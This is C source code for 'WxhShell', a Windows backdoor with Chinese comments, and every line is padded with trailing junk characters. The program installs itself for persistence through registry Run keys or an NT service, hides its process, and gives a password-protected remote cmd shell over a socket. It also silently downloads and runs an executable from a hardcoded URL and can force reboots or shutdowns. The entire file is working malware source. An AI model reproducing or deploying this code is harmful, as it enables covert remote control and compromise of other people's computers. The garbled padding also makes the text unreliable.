    if(Boot(SHUTDOWN)) qT<qu(V:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rCSG@D.  
    else { [-Dgo1}Qr  
    closesocket(wsh); eVCkPv *  
    ExitThread(0); ?;KJ (@Va  
    } 3Ibt'$dK  
    break; _[OEE<(  
    } ZvnZ}t >?  
  // 获取shell eR* ]<0=  
  case 's': { #`#aSqGmc  
    CmdShell(wsh); dW^_tzfF7  
    closesocket(wsh); oIL+@}u7  
    ExitThread(0); qiKtR  
    break; 5.K$ X$+7}  
  } ETWmeMN  
  // 退出 Lq $4.l[j  
  case 'x': { 2W:?#h3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }b ]y 0"  
    CloseIt(wsh); kJ<Xq   
    break; f/[?5M[  
    } jVFRqT%  
  // 离开 HH~  du  
  case 'q': { @#--dOWYR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); agxSb^ 8tF  
    closesocket(wsh); L^al1T  
    WSACleanup(); H'h4@S  
    exit(1); =3v 1]7 X  
    break; UVBw;V  
        } W$MEbf%1  
  } %qjyk=z+Z  
  } |3T|F3uEX  
SSsQu^A  
  // 提示信息 5wFS.!xD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `E0.PV  
} AGJ=de.  
  } < ,cIc]eX  
\,bFm,kC?  
  return; Y %D*O  
} WWs[]zr  
g@6X|W5,J  
// shell模块句柄 wR<QeH'V  
int CmdShell(SOCKET sock) :-W CW);N  
{ x< y[na  
STARTUPINFO si; fJ"~XTN}T  
ZeroMemory(&si,sizeof(si)); L+ETMk0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gZ >orZL'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w4MMo  
PROCESS_INFORMATION ProcessInfo; & Dl'*|  
char cmdline[]="cmd"; U;Y}2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aj'8;E+  
  return 0; }L7F g%,  
} J'^$|/Q  
1> @|  
// 自身启动模式 F-7b`cF9[r  
int StartFromService(void) KsU&<eQ  
{ <QW1fE  
typedef struct :8|3V~%m  
{ *Qwhi&k  
  DWORD ExitStatus; KRR^?  
  DWORD PebBaseAddress; <<zz*;RJJ  
  DWORD AffinityMask; :2Rci`lp  
  DWORD BasePriority; 8J?`_  
  ULONG UniqueProcessId; X-r,>o:  
  ULONG InheritedFromUniqueProcessId; !#4HGjPI  
}   PROCESS_BASIC_INFORMATION; kR~4O$riG  
{f-/,g~  
PROCNTQSIP NtQueryInformationProcess; % m5^p  
jc~*#\N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AXv;r<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iGeT^!N  
Ft8h=  
  HANDLE             hProcess; f5qHBQ  
  PROCESS_BASIC_INFORMATION pbi; D& 6Qk&>  
I 3,e)Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DoB3_=yJ+  
  if(NULL == hInst ) return 0; 1z@# 8_@  
U1!2nJ]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7 8inh%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eh7r'DmAR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jq<`j<'9  
u.4vp]eU  
  if (!NtQueryInformationProcess) return 0; kt0{-\ p  
/z?7ic0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {UC<I.5X  
  if(!hProcess) return 0; 4N=Ie}_`  
}%d-U;Tt2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #5:A?aj  
! E#.WX  
  CloseHandle(hProcess); +rpd0s49  
~Q 9)Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A*U'SCg(G  
if(hProcess==NULL) return 0; B5r_+?=2e  
bY U+-|54  
HMODULE hMod; H^1 a3L]  
char procName[255]; 3[i !2iL.  
unsigned long cbNeeded; G$`4.,g  
uW'4 Kt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QuRg(K%:  
^(JbJ@m/  
  CloseHandle(hProcess); Fj('l  
jz7ltoP  
if(strstr(procName,"services")) return 1; // 以服务启动 <Jrb"H[ T"  
u#,'ys  
  return 0; // 注册表启动 w:xKgng=L  
} +4nR&1z$  
.EZ{d  
// 主模块 D#[ :NXahn  
int StartWxhshell(LPSTR lpCmdLine) mXM>6>;y  
{ >MY.Fr#.m  
  SOCKET wsl; 17]31  
BOOL val=TRUE; qFChZ+3>  
  int port=0; % j{pz  
  struct sockaddr_in door; f>/ 1KV  
LP6FSo~K  
  if(wscfg.ws_autoins) Install(); mqT0^TNPcl  
xt0j9{p  
port=atoi(lpCmdLine); $#W6z:  
y1My, ?"?  
if(port<=0) port=wscfg.ws_port; b!~%a  
;C3?Ic  
  WSADATA data; JJ=is}S|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :bDn.`KG#  
{^MAdC_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i*w-Q=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (NN14  
  door.sin_family = AF_INET; GZVl384@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4l UE(#kUM  
  door.sin_port = htons(port); Zw\V}uXI?  
Wc>)/y5$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,[1`'nN@g  
closesocket(wsl); koY8=lh/  
return 1; q0Lt[*q3R  
} o(NyOC  
"Am0.c/  
  if(listen(wsl,2) == INVALID_SOCKET) { +p6\R;_E  
closesocket(wsl); hdqls0 r  
return 1; wO)KQ~yX  
} 8'Bl=C|0X  
  Wxhshell(wsl); oySM?ZE  
  WSACleanup(); JP*mQzZL  
Xb]?/7 X  
return 0; ,O{ 5   
2e@\6l,!^  
} H).5xx[`  
;iNx@tz4  
// 以NT服务方式启动 '[8jm=Q#'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [4rMUS7-m"  
{ Cfb-:e$0  
DWORD   status = 0; ; 2-kQK9  
  DWORD   specificError = 0xfffffff; Q&Ahr  
rL3Vogw'e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (gB=!1/|G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bx e97]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "FvlZRfXj  
  serviceStatus.dwWin32ExitCode     = 0; BF|FW  
  serviceStatus.dwServiceSpecificExitCode = 0; OBQ!0NM_b  
  serviceStatus.dwCheckPoint       = 0; {;M/J  
  serviceStatus.dwWaitHint       = 0; q\Kdu5x{  
=8_TOvSJ4p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vqZM89 xY  
  if (hServiceStatusHandle==0) return; 31Mc<4zI8  
]3jH^7[?  
status = GetLastError(); TFPq(i  
  if (status!=NO_ERROR) %k)I =|  
{ "0)G|pZI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7N=VVD~!b  
    serviceStatus.dwCheckPoint       = 0; ZM`_P!G  
    serviceStatus.dwWaitHint       = 0; <qt%MM [Y  
    serviceStatus.dwWin32ExitCode     = status; $m oa8  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^BTNx2VHf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1M+!cX  
    return; (1]@ fCd +  
  } @Qozud\?  
C,u.!g;lm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C YKGf1;If  
  serviceStatus.dwCheckPoint       = 0; Y2&6xTh  
  serviceStatus.dwWaitHint       = 0; B*N8:u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lf# six  
} ]+9:i!s  
U5 "v1"Ec  
// 处理NT服务事件,比如:启动、停止 !Sh5o'D28  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0N_Da N  
{ H/{3 i  
switch(fdwControl) h9nCSj  
{ 2F7R,rr  
case SERVICE_CONTROL_STOP: \Da$bJ  
  serviceStatus.dwWin32ExitCode = 0; L-dKZ8Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I!'(>VlP7  
  serviceStatus.dwCheckPoint   = 0; tRCd(Z,WY  
  serviceStatus.dwWaitHint     = 0; 3l[hkRFu`  
  { IxR:a(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LnX^*;P5t  
  } -;z\BW5 y  
  return; dUSuhT  
case SERVICE_CONTROL_PAUSE: 5L#M7E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x#j_}L!V;  
  break; O v6=|]cW  
case SERVICE_CONTROL_CONTINUE: Big-)7?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J?$uNlI  
  break; 42LV>X#i  
case SERVICE_CONTROL_INTERROGATE: 6d8  
  break; SUhP e+  
}; =&GV\ju  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !/j|\_O  
} -E"o)1Pj6C  
c[q3O**  
// 标准应用程序主函数 WLH2B1_):  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R8*4E0\br  
{ XW:(FzF  
5w3'yA<vE  
// 获取操作系统版本 omP 7|  
OsIsNt=GetOsVer(); 8/v_uEG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2Y{9Df  
!>j- j  
  // 从命令行安装 SfT]C~#$N  
  if(strpbrk(lpCmdLine,"iI")) Install(); ']x]X ,  
PnvLXE}F  
  // 下载执行文件 JJXf%o0yq  
if(wscfg.ws_downexe) { <h[^&CY{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,0xN#&?Ohh  
  WinExec(wscfg.ws_filenam,SW_HIDE); uRg^:  
} nr;/:[F  
m e" <+6  
if(!OsIsNt) { {S!~pn&^Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 T^t`H p  
HideProc(); NunT2JP.  
StartWxhshell(lpCmdLine); u c8>B&B%  
} HtlXbzN%)  
else (aLnbJeJ  
  if(StartFromService()) 3:S"!F  
  // 以服务方式启动 up6LO7drW/  
  StartServiceCtrlDispatcher(DispatchTable); 9AaixI  
else **"sru;@=  
  // 普通方式启动 V6N#%(?3  
  StartWxhshell(lpCmdLine); (?(ahtT4T  
UQ y+ &;#5  
return 0; anYZ"GR+  
} 6 ?cV1:jh  
^m\n[<x^  
-v] 0@jNe  
8~7EWl  
=========================================== X.Kxio $o  
w*0T"hK  
U*t `hn-xs  
%' Fc%3  
:tMWy m  
;Lx5r=<Hx  
" 89l}6p/L  
}Na*jr0y9{  
#include <stdio.h> qSR %#  
#include <string.h> HU'}c*d]  
#include <windows.h> XUWza=BR"  
#include <winsock2.h> @EvnV.  
#include <winsvc.h> h fNBWN  
#include <urlmon.h> -.y3:^){^  
IiL?@pIq  
#pragma comment (lib, "Ws2_32.lib") <JlKtR&nSo  
#pragma comment (lib, "urlmon.lib") fO+;%B  
va)\uXW.N  
#define MAX_USER   100 // 最大客户端连接数 -z@}:N-uR  
#define BUF_SOCK   200 // sock buffer <GC:aG  
#define KEY_BUFF   255 // 输入 buffer #cA}B L!3  
_]NM@'e  
#define REBOOT     0   // 重启 %pdfGM 9g  
#define SHUTDOWN   1   // 关机 WA+v&* ]  
mtp[]  
#define DEF_PORT   5000 // 监听端口 f|EWu  
6K &V}  
#define REG_LEN     16   // 注册表键长度 3e"G.0vJ  
#define SVC_LEN     80   // NT服务名长度 f7L|Jc  
Xc.~6nYp  
// 从dll定义API ^,50]uX_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @/~41\=e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qe0@tKim  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {=kA8U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ITTC}  
G{:L^2>  
// wxhshell配置信息 PGJ?=qXr#  
struct WSCFG { cCwT0O#d  
  int ws_port;         // 监听端口 w% M0Mu  
  char ws_passstr[REG_LEN]; // 口令 DF#Ob( 1  
  int ws_autoins;       // 安装标记, 1=yes 0=no )pJzw-m"  
  char ws_regname[REG_LEN]; // 注册表键名 h`)r :a7  
  char ws_svcname[REG_LEN]; // 服务名 7dLPy[8";t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'del|"h!M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dM)fr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hFKYRZtP.8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {3?g8e]zr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }=++Lr4*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OLv(  
edm&,ph]  
}; =,sMOJ c>  
{It4=I)M  
// default Wxhshell configuration 6oC(09  
struct WSCFG wscfg={DEF_PORT, C>LkU|[  
    "xuhuanlingzhe", FQ[::*-  
    1, Z0x N9S  
    "Wxhshell", :f `1  
    "Wxhshell", *l|CrUa  
            "WxhShell Service", BPW:W }  
    "Wrsky Windows CmdShell Service", g{&ux k);  
    "Please Input Your Password: ", OUD<+i,  
  1, >_R5Li  
  "http://www.wrsky.com/wxhshell.exe", h><;TAp  
  "Wxhshell.exe" '&\km~&  
    }; -.xs=NwB.|  
{8E hC/=  
// 消息定义模块 t &*$@0A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @wB$qd;v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; % Dya-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FG'1;x!  
char *msg_ws_ext="\n\rExit."; WL>"hkx  
char *msg_ws_end="\n\rQuit."; >%xJ e'  
char *msg_ws_boot="\n\rReboot..."; G.9?ApG9  
char *msg_ws_poff="\n\rShutdown..."; idV4hMF9  
char *msg_ws_down="\n\rSave to "; DS^PHk39  
k;"=y )@o  
char *msg_ws_err="\n\rErr!"; {BgGG@e  
char *msg_ws_ok="\n\rOK!"; -O{Af  
b" p,~{  
char ExeFile[MAX_PATH]; ($]y*| Obn  
int nUser = 0; kz+P?mopm  
HANDLE handles[MAX_USER]; op[5]tjL  
int OsIsNt; R}*e%EG/  
sz_|py?0  
SERVICE_STATUS       serviceStatus; N[czraFBD}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >0{{ loqq  
R}BHRmSQ  
// 函数声明 i9_ZK/*  
int Install(void); ;g*ab  
int Uninstall(void); ?DA,]aa-  
int DownloadFile(char *sURL, SOCKET wsh); @2]_jW  
int Boot(int flag); {3'z}q  
void HideProc(void); GV* B$  
int GetOsVer(void); CpO!xj +  
int Wxhshell(SOCKET wsl); _a^%V9t  
void TalkWithClient(void *cs); 9)'L,Xt4:T  
int CmdShell(SOCKET sock); RD<l<+C^~  
int StartFromService(void); }_Jr[iaB  
int StartWxhshell(LPSTR lpCmdLine); -Y{P"!p0  
3S ,D~L^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NFv9%$l-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _da>=^hFJ  
Kr!8H/Z  
// 数据结构和表定义 Xh;Pbm|K  
SERVICE_TABLE_ENTRY DispatchTable[] = t(}\D]mj  
{ k?KKb /&b  
{wscfg.ws_svcname, NTServiceMain}, #O* ytZ  
{NULL, NULL} 3w#kvtDVm  
}; +-1t]`9k4  
#toKT_  
// 自我安装 1 @tVfn}  
int Install(void) Y[#i(5w  
{ H0_hQ:K   
  char svExeFile[MAX_PATH]; eo4;?z  
  HKEY key; 9=89)TrY  
  strcpy(svExeFile,ExeFile); /w$<0hH#'8  
P'xq+Q  
// 如果是win9x系统,修改注册表设为自启动 XzIhFX6  
if(!OsIsNt) { *^ g7kCe(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TeSF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); " P c"{w  
  RegCloseKey(key); s8Xort&   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y4^6I$M7V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M S)(\&N  
  RegCloseKey(key); [RTB|0Q  
  return 0; .n'z\] -/Q  
    } k.NgE/;3  
  } =0cyGo  
} wK!4:]rhG  
else { hlWTsi4N  
+pURF&Pr  
// 如果是NT以上系统,安装为系统服务 |t5K!?{i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0.Pd,L(  
if (schSCManager!=0) /:iO:g1  
{ <E[X-S%&  
  SC_HANDLE schService = CreateService 3iMh)YH5b  
  ( 6&5p3G{%0  
  schSCManager, e p* (  
  wscfg.ws_svcname, B[w~bW|K  
  wscfg.ws_svcdisp, ^NKB  
  SERVICE_ALL_ACCESS, %{Ez0XwGCn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7+QD=j-  
  SERVICE_AUTO_START, PBc.}TSGj  
  SERVICE_ERROR_NORMAL, a*@ 6G  
  svExeFile, f^z/s6I0  
  NULL, S4508l  
  NULL, YtI 2Vr/9  
  NULL, 7vax[,a I  
  NULL, t`1E4$Bb\  
  NULL C%}}~Y  
  ); gh>'O/9  
  if (schService!=0) <1cYz\/ !M  
  { *J&XM[t  
  CloseServiceHandle(schService); LT']3w  
  CloseServiceHandle(schSCManager); l( /yaZ`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1$vsw  
  strcat(svExeFile,wscfg.ws_svcname); dP}=cZ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KAH9?zI)M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2A'!kd$2  
  RegCloseKey(key); U`Bw2Vdk]S  
  return 0; Uv?s<  
    } Q$ r1beA  
  } Vw0cf;  
  CloseServiceHandle(schSCManager); ?UuJk  
} cD5c&+,&I  
} (lBgW z  
ASME~]]?  
return 1; c~bi ~ f  
} tp"dho  
%QH "x`;  
// 自我卸载 bAS('R;4  
int Uninstall(void) oVk*G  
{ '_!j9A]g  
  HKEY key; Q[+&n*  
<J" 7ufHSQ  
if(!OsIsNt) { XG2&_u&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { frV *+  
  RegDeleteValue(key,wscfg.ws_regname); ^|-*amh  
  RegCloseKey(key); X=$WsfN.h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UZ#Yd|'PD  
  RegDeleteValue(key,wscfg.ws_regname); 0*0]R C5?  
  RegCloseKey(key); c@H:?s!0R  
  return 0; G Xx7/X  
  } )* 5R/oy,  
} g#b[-)Qx  
} r:Uqtqxh  
else { /;>U0~K  
K8xwPoRL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G&8)5d[  
if (schSCManager!=0) KZ_d..l*W  
{ ,Yx"3i,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L7oLV?k  
  if (schService!=0) v|r\kr k  
  { ]gI>ay"\QA  
  if(DeleteService(schService)!=0) { 49. @Uzo  
  CloseServiceHandle(schService); 1haNca_6,  
  CloseServiceHandle(schSCManager); mRVE@ pc2X  
  return 0; XwWp4`Fd  
  } n-iy;L^b  
  CloseServiceHandle(schService); bV|(V>  
  } oj\av~cI  
  CloseServiceHandle(schSCManager); ti6\~SY  
} v[4A_WjT  
} $ qOV#,@  
IoUQ~JviA  
return 1; 6b& <5,=d:  
} wXdtY  
Hjl{M>z  
// 从指定url下载文件 qIEe7;DO  
int DownloadFile(char *sURL, SOCKET wsh) xe ng`!  
{ zGKDH=Yy ;  
  HRESULT hr; lFvRXV^+f  
char seps[]= "/"; :6R0=oz  
char *token; hF`e>?bN  
char *file; W[B%,Km%]  
char myURL[MAX_PATH]; t [gz#'  
char myFILE[MAX_PATH]; #m 2Ss  
$v|/*1S  
strcpy(myURL,sURL); 7)iB6RB K  
  token=strtok(myURL,seps); &.XYI3Ab1  
  while(token!=NULL) zdY+?s)p  
  { =~;SUO  
    file=token; ?1%/G<  
  token=strtok(NULL,seps); n27df9L  
  } =R+z\`2  
dMkDNaH,  
GetCurrentDirectory(MAX_PATH,myFILE); MZ" yjQA  
strcat(myFILE, "\\"); %N}O Mc.W  
strcat(myFILE, file); yVds2J'w-  
  send(wsh,myFILE,strlen(myFILE),0); QUa_gYp0v  
send(wsh,"...",3,0); g-B~" tp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d V+%x"[:  
  if(hr==S_OK) Cm)_xnv  
return 0; fa#xEWaFr  
else b(@[Y(_R  
return 1; F!v`._]  
oq00)I1  
} \;w$"@9  
)C>4? )  
// 系统电源模块 %4X#|22n  
int Boot(int flag) < H1+qN=]`  
{ iq s  
  HANDLE hToken; N 6CWEIJ  
  TOKEN_PRIVILEGES tkp; 4 yLC  
C'~K amS  
  if(OsIsNt) { &=bWXNU.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j#KL"B_ A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `dB!Ia|  
    tkp.PrivilegeCount = 1; -9Iz$ (>a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I_vPGafMx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w7n6@"q  
if(flag==REBOOT) { M9mC\Iz[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M7D@Uj&xx(  
  return 0; 9OIX5$,S;  
} L`"PaIMz  
else { b-sbRR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n<Vq@=9AE  
  return 0; WxNPAJ6YH  
} 6k?,'&z|~  
  } z}XmRc_Ko  
  else { <hG=0Zcr  
if(flag==REBOOT) { KIt:ytFx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dQhh,}  
  return 0; DK2m(9/`3  
} +(>!nsf  
else { 5p9zl=mT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8<cD+Jtj  
  return 0; *e E&ptx1  
} Obl']Hr{y9  
} V0'T)  
*Q= 3v  
return 1; iTb k]$  
} wSrq?U5q  
 VlGg?  
// win9x进程隐藏模块 JzhbuWwF-  
void HideProc(void) :Ja]Vt  
{ \U^0E> d  
fC!]MhA"i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,,*i!%Adw  
  if ( hKernel != NULL ) >3R%GNw  
  { [c6I/U=-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JE~ci#|!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?NazfK  
    FreeLibrary(hKernel); Bq}p]R3X  
  } l}|KkW\y  
JryCL]  
return; eURy]  
} ]k2Jf}|  
jI`1>>N&1  
// 获取操作系统版本 aBV{Xr~#(  
int GetOsVer(void) %m\dNUz4g  
{ ,^dyS]!d$  
  OSVERSIONINFO winfo; _J<^'w^;%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *0 y|0J+ 0  
  GetVersionEx(&winfo); }=kf52Am,}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SG6@Rn*^  
  return 1; A]VcQ_e  
  else C)2Waj}  
  return 0; JaC =\\B  
} .gPE Qc+D  
#N`~. 96  
// 客户端句柄模块 zP\n<L5  
int Wxhshell(SOCKET wsl) idL6*%M  
{ ~b}@*fq  
  SOCKET wsh; 8FY.u{93  
  struct sockaddr_in client; c*+yJNm3>  
  DWORD myID; &_Py{Cv@Dw  
e}qG_*  
  while(nUser<MAX_USER) [UJC/GtjS  
{ fV[(s7vW  
  int nSize=sizeof(client); @=KuoIV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a<CN2e_Z  
  if(wsh==INVALID_SOCKET) return 1; &@E{0ZD  
5<-_"/_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YyR)2j1O  
if(handles[nUser]==0) Aj`zT'  
  closesocket(wsh); kj(Ko{  
else ,3^gB,ka  
  nUser++; 0>#or$:6E  
  } x Bn+-V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qz*!jwg  
H ]BH  
  return 0; Yh%a7K   
} zo*YPDEm"  
%vPs38Fks  
// 关闭 socket :r^c_Ui  
void CloseIt(SOCKET wsh) =*Z=My}3~  
{ WBS~e  
closesocket(wsh); >YPC &@9   
nUser--; G\8ps ~3T  
ExitThread(0); OoKzPePWji  
} LqnN5l@ _B  
LQVa,'  
// 客户端请求句柄 v3 $+ l1  
void TalkWithClient(void *cs) `I$'Lp#5  
{ =3rPE"@,[  
oiP8~  
  SOCKET wsh=(SOCKET)cs; VV/6~jy0  
  char pwd[SVC_LEN]; lSw9e<jYO  
  char cmd[KEY_BUFF]; q'kZ3 G   
char chr[1]; CJA5w[m  
int i,j; _is<.&f6  
74*1|S <  
  while (nUser < MAX_USER) { }]w/`TF  
r3X|*/  
if(wscfg.ws_passstr) { as\6XW$;Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W@NM~+)e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x\ieWF1  
  //ZeroMemory(pwd,KEY_BUFF); i~\fpay  
      i=0; -uZ bVd  
  while(i<SVC_LEN) { J[ 9yQ  
D[.; H)V  
  // 设置超时 Tjo K]]  
  fd_set FdRead; 7_r$zEP6  
  struct timeval TimeOut; Kfnn;  
  FD_ZERO(&FdRead); \Q.Qos  
  FD_SET(wsh,&FdRead); HJpkR<h  
  TimeOut.tv_sec=8; ZM oV!lu  
  TimeOut.tv_usec=0; %1Gat6V<'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wN,DTmtD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m=&j2~<i  
ODn6%fp%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rK%<2i  
  pwd=chr[0]; ajIgL<x  
  if(chr[0]==0xd || chr[0]==0xa) { G%N/]]ll  
  pwd=0; BXgAohg!  
  break; /E'c y  
  } h?wNmLre  
  i++; ]=v_u9;  
    } u}u;jTi> 2  
Uq/#\7/rL  
  // 如果是非法用户,关闭 socket !4uTi [e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f(.@]eu X  
} reml|!F-)  
Sfc0 ~1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T1bPI/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); et";*EZJX  
,<$6-3sC-  
while(1) { c)8V^7=Q  
&0*l=!:G^  
  ZeroMemory(cmd,KEY_BUFF); }J}a;P4  
c-z 2[a8  
      // 自动支持客户端 telnet标准   -L>\58`  
  j=0; WN9 <  
  while(j<KEY_BUFF) { %=x|.e@J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y%9S4be  
  cmd[j]=chr[0]; uN bOtA  
  if(chr[0]==0xa || chr[0]==0xd) { IWeQMwg  
  cmd[j]=0; hQ&S*f&='  
  break; M0`nr}g  
  } $3BCA)5:  
  j++; R }M'D15  
    } =jvM$  
/sY(/ J E  
  // 下载文件 =T5vu~[J/e  
  if(strstr(cmd,"http://")) { xz#;F ,`ZR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #*uSYGdc  
  if(DownloadFile(cmd,wsh)) 65bLkR{0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Dro)fH1  
  else 5T,Doxo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <{@?c  
  } PbOLN$hP  
  else { 9`}Wp2  
[\CQ_qs|  
    switch(cmd[0]) { Ms5m.lX  
  6U;pYWht  
